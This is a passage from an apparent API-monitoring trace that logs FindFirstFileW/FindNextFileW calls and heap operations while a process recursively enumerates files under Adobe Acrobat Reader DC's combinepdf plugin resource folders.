(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0248.364] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0248.364] GetProcessHeap () returned 0xc10000 [0248.365] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0248.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0248.396] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.396] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0248.396] GetProcessHeap () returned 0xc10000 [0248.396] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0248.409] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.410] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0248.410] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0248.410] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0248.410] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0248.410] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0248.410] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0248.410] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0248.410] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0248.412] GetProcessHeap () returned 0xc10000 [0248.412] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.412] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0248.412] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.412] GetProcessHeap () returned 0xc10000 [0248.412] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0248.412] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0248.412] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.413] GetProcessHeap () returned 0xc10000 [0248.413] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0248.414] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0248.415] GetProcessHeap () returned 0xc10000 [0248.415] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0248.417] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.417] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0248.417] GetProcessHeap () returned 0xc10000 [0248.417] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0248.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0248.435] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.435] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0248.435] GetProcessHeap () returned 0xc10000 [0248.435] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.436] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.436] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0248.437] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.437] GetProcessHeap () returned 0xc10000 [0248.437] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.437] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0248.437] GetProcessHeap () returned 0xc10000 [0248.437] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.438] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.438] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.438] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.439] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.439] GetProcessHeap () returned 0xc10000 [0248.439] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.439] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0248.439] GetProcessHeap () returned 0xc10000 [0248.439] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.440] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, 